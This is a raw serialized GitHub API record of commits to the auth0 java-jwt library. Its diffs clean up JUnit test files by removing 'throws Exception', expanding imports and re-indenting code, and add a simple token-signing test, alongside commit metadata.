         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -159,7 +159,7 @@ public void shouldGetNullArrayWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullArrayWhenParsingNullNodeValue() throws Exception {
+    public void shouldGetNullArrayWhenParsingNullNodeValue() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -168,7 +168,7 @@ public void shouldGetNullArrayWhenParsingNullNodeValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() throws Exception {
+    public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         IntNode node = new IntNode(456789);
         tree.put("key", node);
@@ -179,7 +179,7 @@ public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() throws Exception {
 
 
     @Test
-    public void shouldGetNullDateWhenParsingNullNode() throws Exception {
+    public void shouldGetNullDateWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -189,7 +189,7 @@ public void shouldGetNullDateWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullDateWhenParsingNull() throws Exception {
+    public void shouldGetNullDateWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -198,7 +198,7 @@ public void shouldGetNullDateWhenParsingNull() throws Exception {
     }
 
     @Test
-    public void shouldThrowWhenParsingNonNumericNode() throws Exception {
+    public void shouldThrowWhenParsingNonNumericNode() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The claim 'key' contained a non-numeric date value.");
 
@@ -210,7 +210,7 @@ public void shouldThrowWhenParsingNonNumericNode() throws Exception {
     }
 
     @Test
-    public void shouldGetDateWhenParsingNumericNode() throws Exception {
+    public void shouldGetDateWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = 1478627949 / 1000;
         LongNode node = new LongNode(seconds);
@@ -222,7 +222,7 @@ public void shouldGetDateWhenParsingNumericNode() throws Exception {
     }
 
     @Test
-    public void shouldGetLargeDateWhenParsingNumericNode() throws Exception {
+    public void shouldGetLargeDateWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = Integer.MAX_VALUE + 10000L;
         LongNode node = new LongNode(seconds);
@@ -235,7 +235,7 @@ public void shouldGetLargeDateWhenParsingNumericNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNullNode() throws Exception {
+    public void shouldGetNullStringWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -245,7 +245,7 @@ public void shouldGetNullStringWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNull() throws Exception {
+    public void shouldGetNullStringWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -254,7 +254,7 @@ public void shouldGetNullStringWhenParsingNull() throws Exception {
     }
 
     @Test
-    public void shouldGetStringWhenParsingTextNode() throws Exception {
+    public void shouldGetStringWhenParsingTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode node = new TextNode("something here");
         tree.put("key", node);u      }(jR  (3cf6e0238e85949f53c082421ceb329c81b7b536jS  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javajS  modifiedjS  KjS  Kj!S  K*j"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  Xh  @@ -33,7 +33,7 @@ public class PayloadImplTest {
     private ObjectReader objectReader;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         mapper = getDefaultObjectMapper();
         objectReader = mapper.reader();
 
@@ -47,129 +47,129 @@ public void setUp() throws Exception {
 
     @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldHaveUnmodifiableTree() throws Exception {
+    public void shouldHaveUnmodifiableTree() {
         exception.expect(UnsupportedOperationException.class);
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<String, JsonNode>(), objectReader);
         payload.getTree().put("something", null);
     }
 
     @Test
-    public void shouldHaveUnmodifiableAudience() throws Exception {
+    public void shouldHaveUnmodifiableAudience() {
         exception.expect(UnsupportedOperationException.class);
         PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<String>(), null, null, null, null, null, objectReader);
         payload.getAudience().add("something");
     }
 
     @Test
-    public void shouldGetIssuer() throws Exception {
+    public void shouldGetIssuer() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is("issuer"));
     }
 
     @Test
-    public void shouldGetNullIssuerIfMissing() throws Exception {
+    public void shouldGetNullIssuerIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetSubject() throws Exception {
+    public void shouldGetSubject() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getSubject(), is("subject"));
     }
 
     @Test
-    public void shouldGetNullSubjectIfMissing() throws Exception {
+    public void shouldGetNullSubjectIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getSubject(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAudience() throws Exception {
+    public void shouldGetAudience() {
         assertThat(payload, is(notNullValue()));
 
         assertThat(payload.getAudience(), is(IsCollectionWithSize.hasSize(1)));
         assertThat(payload.getAudience(), is(IsCollectionContaining.hasItems("audience")));
     }
 
     @Test
-    public void shouldGetNullAudienceIfMissing() throws Exception {
+    public void shouldGetNullAudienceIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getAudience(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetExpiresAt() throws Exception {
+    public void shouldGetExpiresAt() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getExpiresAt(), is(expiresAt));
     }
 
     @Test
-    public void shouldGetNullExpiresAtIfMissing() throws Exception {
+    public void shouldGetNullExpiresAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getExpiresAt(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNotBefore() throws Exception {
+    public void shouldGetNotBefore() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getNotBefore(), is(notBefore));
     }
 
     @Test
-    public void shouldGetNullNotBeforeIfMissing() throws Exception {
+    public void shouldGetNullNotBeforeIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getNotBefore(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetIssuedAt() throws Exception {
+    public void shouldGetIssuedAt() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuedAt(), is(issuedAt));
     }
 
     @Test
-    public void shouldGetNullIssuedAtIfMissing() throws Exception {
+    public void shouldGetNullIssuedAtIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuedAt(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetJWTId() throws Exception {
+    public void shouldGetJWTId() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getId(), is("jwtId"));
     }
 
     @Test
-    public void shouldGetNullJWTIdIfMissing() throws Exception {
+    public void shouldGetNullJWTIdIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getId(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetExtraClaim() throws Exception {
+    public void shouldGetExtraClaim() {
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getClaim("extraClaim"), is(instanceOf(JsonNodeClaim.class)));
         assertThat(payload.getClaim("extraClaim").asString(), is("extraValue"));
     }
 
     @Test
-    public void shouldGetNotNullExtraClaimIfMissing() throws Exception {
+    public void shouldGetNotNullExtraClaimIfMissing() {
         PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getClaim("missing"), is(notNullValue()));
         assertThat(payload.getClaim("missing"), is(instanceOf(NullClaim.class)));
     }
 
     @Test
-    public void shouldGetClaims() throws Exception {
+    public void shouldGetClaims() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         tree.put("sub", new TextNode("auth0"));
@@ -183,7 +183,7 @@ public void shouldGetClaims() throws Exception {
     }
 
     @Test
-    public void shouldNotAllowToModifyClaimsMap() throws Exception {
+    public void shouldNotAllowToModifyClaimsMap() {
         assertThat(payload, is(notNullValue()));
         Map<String, Claim> claims = payload.getClaims();
         assertThat(claims, is(notNullValue()));ueu(33356b191d1c64c1f3bb13de43d2e33181f0d671}(sha(33356b191d1c64c1f3bb13de43d2e33181f0d671node_idEC_kwDOAQtL0doAKDMzMzU2YjE5MWQxYzY0YzFmM2JiMTNkZTQzZDJlMzMxODFmMGQ2NzEcommit}(author}(nameli.heemailli.he@thoughtworks.comdate2022-10-20T06:54:34Zu	committer}(jS  li.hejS  li.he@thoughtworks.comjS  2022-10-20T06:54:34Zumessage5test: Compatible with the original base64 encoded jwttree}(jS  (fc6c80924bd343056e8f25557195a402c537f38furl^https://api.github.com/repos/auth0/java-jwt/git/trees/fc6c80924bd343056e8f25557195a402c537f38fujS  `https://api.github.com/repos/auth0/java-jwt/git/commits/33356b191d1c64c1f3bb13de43d2e33181f0d671
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujS  \https://api.github.com/repos/auth0/java-jwt/commits/33356b191d1c64c1f3bb13de43d2e33181f0d671html_urlQhttps://github.com/auth0/java-jwt/commit/33356b191d1c64c1f3bb13de43d2e33181f0d671comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/33356b191d1c64c1f3bb13de43d2e33181f0d671/commentsjS  }(loginheli-twidJPjS  U_kgDOBcxQpA
avatar_url4https://avatars.githubusercontent.com/u/97276068?v=4gravatar_idh3jS  $https://api.github.com/users/heli-twjS  https://github.com/heli-tw
followers_url.https://api.github.com/users/heli-tw/followers
following_url;https://api.github.com/users/heli-tw/following{/other_user}	gists_url4https://api.github.com/users/heli-tw/gists{/gist_id}starred_url;https://api.github.com/users/heli-tw/starred{/owner}{/repo}subscriptions_url2https://api.github.com/users/heli-tw/subscriptionsorganizations_url)https://api.github.com/users/heli-tw/orgs	repos_url*https://api.github.com/users/heli-tw/repos
events_url5https://api.github.com/users/heli-tw/events{/privacy}received_events_url4https://api.github.com/users/heli-tw/received_eventstypeUser
site_adminujS  }(jS  heli-twjS  JPjS  U_kgDOBcxQpAjS  4https://avatars.githubusercontent.com/u/97276068?v=4jS  h3jS  $https://api.github.com/users/heli-twjS  https://github.com/heli-twjS  .https://api.github.com/users/heli-tw/followersjS  ;https://api.github.com/users/heli-tw/following{/other_user}jS  4https://api.github.com/users/heli-tw/gists{/gist_id}jS  ;https://api.github.com/users/heli-tw/starred{/owner}{/repo}jS  2https://api.github.com/users/heli-tw/subscriptionsj T  )https://api.github.com/users/heli-tw/orgsjT  *https://api.github.com/users/heli-tw/reposjT  5https://api.github.com/users/heli-tw/events{/privacy}jT  4https://api.github.com/users/heli-tw/received_eventsjT  Userj
T  uparents]}(jS  (a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7djS  \https://api.github.com/repos/auth0/java-jwt/commits/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7djS  Qhttps://github.com/auth0/java-jwt/commit/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7duastats}(totalM&	additionsK	deletionsKzufiles](}(jS  (56f1aa1de2b9947f918626fb0385a02e664f73fbfilename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedj$T  Kj%T  KuchangesMblob_urlhttps://github.com/auth0/java-jwt/blob/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/33356b191d1c64c1f3bb13de43d2e33181f0d671/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=33356b191d1c64c1f3bb13de43d2e33181f0d671patchXh  @@ -6,7 +6,6 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -15,7 +14,14 @@
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.RSAPrivateKey;
 import java.time.Instant;
-import java.util.*;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Base64;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
 
 import static org.hamcrest.Matchers.anEmptyMap;
 import static org.hamcrest.Matchers.is;
@@ -36,7 +42,25 @@ public void shouldThrowWhenRequestingSignWithoutAlgorithm() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Algorithm cannot be null");
         JWTCreator.init()
-                .sign(null);
+            .sign(null);
+    }
+
+    @Test
+    public void shouldSignJwt() {
+        String signed = JWTCreator.init()
+            .sign(Algorithm.HMAC256("secret"), false);
+
+        assertThat(signed, is(notNullValue()));
+
+        signed = JWTCreator.init()
+            .sign(Algorithm.HMAC256("secret"), true);
+
+        assertThat(signed, is(notNullValue()));
+
+        signed = JWTCreator.init()
+            .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
     }
 
     @SuppressWarnings("Convert2Diamond")
@@ -45,8 +69,8 @@ public void shouldAddHeaderClaim() {
         Map<String, Object> header = new HashMap<String, Object>();
         header.put("asd", 123);
         String signed = JWTCreator.init()
-                .withHeader(header)
-                .sign(Algorithm.HMAC256("secret"));
+            .withHeader(header)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -57,8 +81,8 @@ public void shouldAddHeaderClaim() {
     @Test
     public void shouldReturnBuilderIfNullMapIsProvided() {
         String signed = JWTCreator.init()
-                .withHeader(null)
-                .sign(Algorithm.HMAC256("secret"));
+            .withHeader(null)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
     }
@@ -69,9 +93,9 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         header.put(PublicClaims.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
-                .withKeyId("abc")
-                .withHeader(header)
-                .sign(Algorithm.HMAC256("secret"));
+            .withKeyId("abc")
+            .withHeader(header)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -85,9 +109,9 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         header.put(PublicClaims.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
-                .withHeader(header)
-                .withKeyId("abc")
-                .sign(Algorithm.HMAC256("secret"));
+            .withHeader(header)
+            .withKeyId("abc")
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -102,9 +126,9 @@ public void shouldRemoveHeaderIfTheValueIsNull() {
         header.put("test2", "isSet");
 
         String signed = JWTCreator.init()
-                .withKeyId("test")
-                .withHeader(header)
-                .sign(Algorithm.HMAC256("secret"));
+            .withKeyId("test")
+            .withHeader(header)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -116,8 +140,8 @@ public void shouldRemoveHeaderIfTheValueIsNull() {
     @Test
     public void shouldAddKeyId() {
         String signed = JWTCreator.init()
-                .withKeyId("56a8bd44da435300010000015f5ed")
-                .sign(Algorithm.HMAC256("secret"));
+            .withKeyId("56a8bd44da435300010000015f5ed")
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -133,7 +157,7 @@ public void shouldAddKeyIdIfAvailableFromRSAAlgorithms() throws Exception {
         when(provider.getPrivateKey()).thenReturn(privateKey);
 
         String signed = JWTCreator.init()
-                .sign(Algorithm.RSA256(provider));
+            .sign(Algorithm.RSA256(provider));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -149,8 +173,8 @@ public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
         when(provider.getPrivateKey()).thenReturn(privateKey);
 
         String signed = JWTCreator.init()
-                .withKeyId("real-key-id")
-                .sign(Algorithm.RSA256(provider));
+            .withKeyId("real-key-id")
+            .sign(Algorithm.RSA256(provider));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -166,7 +190,7 @@ public void shouldAddKeyIdIfAvailableFromECDSAAlgorithms() throws Exception {
         when(provider.getPrivateKey()).thenReturn(privateKey);
 
         String signed = JWTCreator.init()
-                .sign(Algorithm.ECDSA256(provider));
+            .sign(Algorithm.ECDSA256(provider));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -182,8 +206,8 @@ public void shouldNotOverwriteKeyIdIfAddedFromECDSAAlgorithms() throws Exception
         when(provider.getPrivateKey()).thenReturn(privateKey);
 
         String signed = JWTCreator.init()
-                .withKeyId("real-key-id")
-                .sign(Algorithm.ECDSA256(provider));
+            .withKeyId("real-key-id")
+            .sign(Algorithm.ECDSA256(provider));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -194,8 +218,8 @@ public void shouldNotOverwriteKeyIdIfAddedFromECDSAAlgorithms() throws Exception
     @Test
     public void shouldAddIssuer() {
         String signed = JWTCreator.init()
-                .withIssuer("auth0")
-                .sign(Algorithm.HMAC256("secret"));
+            .withIssuer("auth0")
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJpc3MiOiJhdXRoMCJ9"));
@@ -204,8 +228,8 @@ public void shouldAddIssuer() {
     @Test
     public void shouldAddSubject() {
         String signed = JWTCreator.init()
-                .withSubject("1234567890")
-                .sign(Algorithm.HMAC256("secret"));
+            .withSubject("1234567890")
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJzdWIiOiIxMjM0NTY3ODkwIn0"));
@@ -214,16 +238,16 @@ public void shouldAddSubject() {
     @Test
     public void shouldAddAudience() {
         String signed = JWTCreator.init()
-                .withAudience("Mark")
-                .sign(Algorithm.HMAC256("secret"));
+            .withAudience("Mark")
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJhdWQiOiJNYXJrIn0"));
 
 
         String signedArr = JWTCreator.init()
-                .withAudience("Mark", "David")
-                .sign(Algorithm.HMAC256("secret"));
+            .withAudience("Mark", "David")
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signedArr, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signedArr)[1], is("eyJhdWQiOlsiTWFyayIsIkRhdmlkIl19"));
@@ -232,8 +256,8 @@ public void shouldAddAudience() {
     @Test
     public void shouldAddExpiresAtAsInstant() {
         String signed = JWTCreator.init()
-                .withExpiresAt(Instant.ofEpochMilli(1477592000))
-                .sign(Algorithm.HMAC256("secret"));
+            .withExpiresAt(Instant.ofEpochMilli(1477592000))
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJleHAiOjE0Nzc1OTJ9"));
@@ -242,8 +266,8 @@ public void shouldAddExpiresAtAsInstant() {
     @Test
     public void shouldAddExpiresAtAsDate() {
         String signed = JWTCreator.init()
-                .withExpiresAt(new Date(1477592000))
-                .sign(Algorithm.HMAC256("secret"));
+            .withExpiresAt(new Date(1477592000))
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJleHAiOjE0Nzc1OTJ9"));
@@ -252,8 +276,8 @@ public void shouldAddExpiresAtAsDate() {
     @Test
     public void shouldAddNotBeforeAsInstant() {
         String signed = JWTCreator.init()
-                .withNotBefore(Instant.ofEpochMilli(1477592000))
-                .sign(Algorithm.HMAC256("secret"));
+            .withNotBefore(Instant.ofEpochMilli(1477592000))
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJuYmYiOjE0Nzc1OTJ9"));
@@ -262,8 +286,8 @@ public void shouldAddNotBeforeAsInstant() {
     @Test
     public void shouldAddNotBeforeAsDate() {
         String signed = JWTCreator.init()
-                .withNotBefore(new Date(1477592000))
-                .sign(Algorithm.HMAC256("secret"));
+            .withNotBefore(new Date(1477592000))
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJuYmYiOjE0Nzc1OTJ9"));
@@ -272,8 +296,8 @@ public void shouldAddNotBeforeAsDate() {
     @Test
     public void shouldAddIssuedAtAsInstant() {
         String signed = JWTCreator.init()
-                .withIssuedAt(Instant.ofEpochMilli(1477592000))
-                .sign(Algorithm.HMAC256("secret"));
+            .withIssuedAt(Instant.ofEpochMilli(1477592000))
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJpYXQiOjE0Nzc1OTJ9"));
@@ -282,8 +306,8 @@ public void shouldAddIssuedAtAsInstant() {
     @Test
     public void shouldAddIssuedAtAsDate() {
         String signed = JWTCreator.init()
-                .withIssuedAt(new Date(1477592000))
-                .sign(Algorithm.HMAC256("secret"));
+            .withIssuedAt(new Date(1477592000))
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJpYXQiOjE0Nzc1OTJ9"));
@@ -292,8 +316,8 @@ public void shouldAddIssuedAtAsDate() {
     @Test
     public void shouldAddJWTId() {
         String signed = JWTCreator.init()
-                .withJWTId("jwt_id_123")
-                .sign(Algorithm.HMAC256("secret"));
+            .withJWTId("jwt_id_123")
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJqdGkiOiJqd3RfaWRfMTIzIn0"));
@@ -302,9 +326,9 @@ public void shouldAddJWTId() {
     @Test
     public void shouldRemoveClaimWhenPassingNull() {
         String signed = JWTCreator.init()
-                .withIssuer("iss")
-                .withIssuer(null)
-                .sign(Algorithm.HMAC256("secret"));
+            .withIssuer("iss")
+            .withIssuer(null)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[1], is("e30"));
@@ -313,7 +337,7 @@ public void shouldRemoveClaimWhenPassingNull() {
     @Test
     public void shouldSetCorrectAlgorithmInTheHeader() {
         String signed = JWTCreator.init()
-                .sign(Algorithm.HMAC256("secret"));
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -324,7 +348,7 @@ public void shouldSetCorrectAlgorithmInTheHeader() {
     @Test
     public void shouldSetDefaultTypeInTheHeader() {
         String signed = JWTCreator.init()
-                .sign(Algorithm.HMAC256("secret"));
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -336,8 +360,8 @@ public void shouldSetDefaultTypeInTheHeader() {
     public void shouldSetCustomTypeInTheHeader() {
         Map<String, Object> header = Collections.singletonMap("typ", "passport");
         String signed = JWTCreator.init()
-                .withHeader(header)
-                .sign(Algorithm.HMAC256("secret"));
+            .withHeader(header)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
@@ -348,7 +372,7 @@ public void shouldSetCustomTypeInTheHeader() {
     @Test
     public void shouldSetEmptySignatureIfAlgorithmIsNone() {
         String signed = JWTCreator.init()
-                .sign(Algorithm.none());
+            .sign(Algorithm.none());
         assertThat(signed, is(notNullValue()));
         assertThat(TokenUtils.splitToken(signed)[2], is(""));
     }
@@ -358,14 +382,14 @@ public void shouldThrowOnNullCustomClaimName() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
         JWTCreator.init()
-                .withClaim(null, "value");
+            .withClaim(null, "value");
     }
 
     @Test
     public void shouldAcceptCustomClaimOfTypeString() {
         String jwt = JWTCreator.init()
-                .withClaim("name", "value")
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("name", "value")
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -375,8 +399,8 @@ public void shouldAcceptCustomClaimOfTypeString() {
     @Test
     public void shouldAcceptCustomClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
-                .withClaim("name", 123)
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("name", 123)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -386,8 +410,8 @@ public void shouldAcceptCustomClaimOfTypeInteger() {
     @Test
     public void shouldAcceptCustomClaimOfTypeLong() {
         String jwt = JWTCreator.init()
-                .withClaim("name", Long.MAX_VALUE)
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("name", Long.MAX_VALUE)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -397,8 +421,8 @@ public void shouldAcceptCustomClaimOfTypeLong() {
     @Test
     public void shouldAcceptCustomClaimOfTypeDouble() {
         String jwt = JWTCreator.init()
-                .withClaim("name", 23.45)
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("name", 23.45)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -408,8 +432,8 @@ public void shouldAcceptCustomClaimOfTypeDouble() {
     @Test
     public void shouldAcceptCustomClaimOfTypeBoolean() {
         String jwt = JWTCreator.init()
-                .withClaim("name", true)
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("name", true)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -420,8 +444,8 @@ public void shouldAcceptCustomClaimOfTypeBoolean() {
     public void shouldAcceptCustomClaimOfTypeInstant() {
         Instant instant = Instant.ofEpochMilli(1478891521000L);
         String jwt = JWTCreator.init()
-                .withClaim("name", instant)
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("name", instant)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -432,8 +456,8 @@ public void shouldAcceptCustomClaimOfTypeInstant() {
     public void shouldAcceptCustomClaimOfTypeDate() {
         Date date = new Date(1478891521000L);
         String jwt = JWTCreator.init()
-                .withClaim("name", date)
-                .sign(Algorithm.HMAC256("secret"));
+            .withClaim("name", date)
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -443,8 +467,8 @@ public void shouldAcceptCustomClaimOfTypeDate() {
     @Test
     public void shouldAcceptCustomArrayClaimOfTypeString() {
         String jwt = JWTCreator.init()
-                .withArrayClaim("name", new String[]{"text", "123", "true"})
-                .sign(Algorithm.HMAC256("secret"));
+            .withArrayClaim("name", new String[]{"text", "123", "true"})
+            .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
         String[] parts = jwt.split("\\.");
@@ -454,8 +478,8 @@ public void shouldAcceptCustomArrayClaimOfTypeString() {
     @Test
     public void shouldAcceptCustomArrayClaimOfTypeInteger() {
         String jwt = JWTCreator.init()
-                .withArrayClaim("name", new Integer[]{1, 2, 3})
-                .sign(Algorithm.HMAC256("secret"));
